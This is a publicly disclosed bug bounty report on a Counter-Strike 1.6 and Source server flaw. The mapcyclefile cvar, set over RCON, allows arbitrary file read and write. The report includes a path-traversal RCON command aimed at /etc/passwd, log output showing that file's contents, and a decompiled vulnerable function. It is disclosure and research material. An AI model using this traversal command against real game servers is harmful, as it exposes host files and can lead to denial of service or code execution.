HexBrain

Valve · Report #590279

[CS 1.6] Map cycle abuse allows arbitrary file read/write

Validstatus
mediumseverity
$750bounty
22upvotes
22 Feb 2021disclosed

Summary

The CS 1.6 server has a feature of map cycle - i.e. automatic map change after specified period of time. This feature relies on data of the file specified in mapcyclefile cvar.

Any user with RCON access to the server can set this variable to arbitrary value - no input sanitization applies. In order to turn it into arbitrary file read an attacker will need access to either HLDS console log or GameServerData001 interface (discussed later). To trigger vulnerability the attacker performs two steps:

  1. Sets mapcyclefile cvar via rcon
  2. Executes listmaps command in his game console

Here are the logs from the HLDS console while exploiting this vulnerability:

Rcon from 192.168.42.181:27005:
rcon 1753030938 "asd" mapcyclefile ../../../../../etc/passwd
Skipping root:x:0:0:root:/root:/bin/bash from mapcycle, not a valid map
Skipping daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin from mapcycle, not a valid map
Skipping bin:x:2:2:bin:/bin:/usr/sbin/nologin from mapcycle, not a valid map
Skipping sys:x:3:3:sys:/dev:/usr/sbin/nologin from mapcycle, not a valid map
Skipping sync:x:4:65534:sync:/bin:/bin/sync from mapcycle, not a valid map
Skipping games:x:5:60:games:/usr/games:/usr/sbin/nologin from mapcycle, not a valid map
Skipping man:x:6:12:man:/var/cache/man:/usr/sbin/nologin from mapcycle, not a valid map
Skipping lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin from mapcycle, not a valid map
Skipping mail:x:8:8:mail:/var/mail:/usr/sbin/nologin from mapcycle, not a valid map
Skipping news:x:9:9:news:/var/spool/news:/usr/sbin/nologin from mapcycle, not a valid map
Skipping uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin from mapcycle, not a valid map
Skipping proxy:x:13:13:proxy:/bin:/usr/sbin/nologin from mapcycle, not a valid map
Skipping www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin from mapcycle, not a valid map
Skipping backup:x:34:34:backup:/var/backups:/usr/sbin/nologin from mapcycle, not a valid map
Skipping list:x:38:38:Mailing from mapcycle, not a valid map
Skipping Manager:/var/list:/usr/sbin/nologin from mapcycle, not a valid map
Skipping irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin from mapcycle, not a valid map
Skipping gnats:x:41:41:Gnats from mapcycle, not a valid map

Things gets worse if GameServerData001 interface is used (exported by engine). This interface is used for remote server control (for example HLDS Windows GUI). A user who got access to this interface can archive arbitrary file read/write on the host system that could cause DoS or RCE.

The vulnerable function is CServerRemoteAccess::SetValue. It has the following code fragment:

  else if ( !strcasecmp(variable, "mapcycle") )
  {
    file = FS_Open(mapcyclefile.string, "wt");
    if ( file
      || (Con_Printf(
            "Couldn't write to read-only file %s, using file _dev_mapcycle.txt instead.\n",
            mapcyclefile.string),
          Cvar_DirectSet(&mapcyclefile, "_temp_mapcycle.txt"),
          (file = FS_Open(mapcyclefile.string, "wt")) != 0) )
    {
      v4 = strlen(value);
      FS_Write(value, v4 + 1, 1, file);
      FS_Close(file);
    }
  }

So it blindly opens file specified by mapcyclefile cvar and writes data to it. The steps will be:

  1. Set mapcyclefile cvar via rcon
  2. Execute mapcycle command with a payload through GameServerData001 interface

Impact

  • Arbitrary file read that leads to information disclosure
  • Arbitrary file write that leads to DoS or RCE depending on the target files

Game servers based on GoldSrc/Source engine have a feature of map cycle - i.e. automatic map change after specified period of time. This feature relies on data of the file specified in mapcyclefile cvar.

Any user with RCON access to the server can set this variable to arbitrary value - no input sanitization applies. An attacker performs two steps to achieve arbitrary file read:

  1. Set mapcyclefile cvar via rcon
  2. Connect to the server. The mapcycle information is always included in ServerInfo packet that server sends to a new player.

Things gets worse if GameServerData001 interface is used (exported by engine). This interface is used for remote server control (for example HLDS Windows GUI). A user who got access to this interface can archive arbitrary file read/write on the host system that could cause DoS or RCE. The vulnerable function is CServerRemoteAccess::SetValue. It has the following code fragment:

  else if ( !strcasecmp(variable, "mapcycle") )
  {
    file = FS_Open(mapcyclefile.string, "wt");
    if ( file
      || (Con_Printf(
            "Couldn't write to read-only file %s, using file _dev_mapcycle.txt instead.\n",
            mapcyclefile.string),
          Cvar_DirectSet(&mapcyclefile, "_temp_mapcycle.txt"),
          (file = FS_Open(mapcyclefile.string, "wt")) != 0) )
    {
      v4 = strlen(value);
      FS_Write(value, v4 + 1, 1, file);
      FS_Close(file);
    }
  }

So it blindly opens file specified by mapcyclefile cvar and writes data to it. The steps will be:

  1. Set mapcyclefile cvar via rcon
  2. Execute mapcycle command with a payload through GameServerData001 interface

Confirmed affected games: Counter-Strike 1.6, Counter-Strike: Source

How it was found

The write-up for this report has not been downloaded yet, or the program disclosed it without one. Read it on HackerOne.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original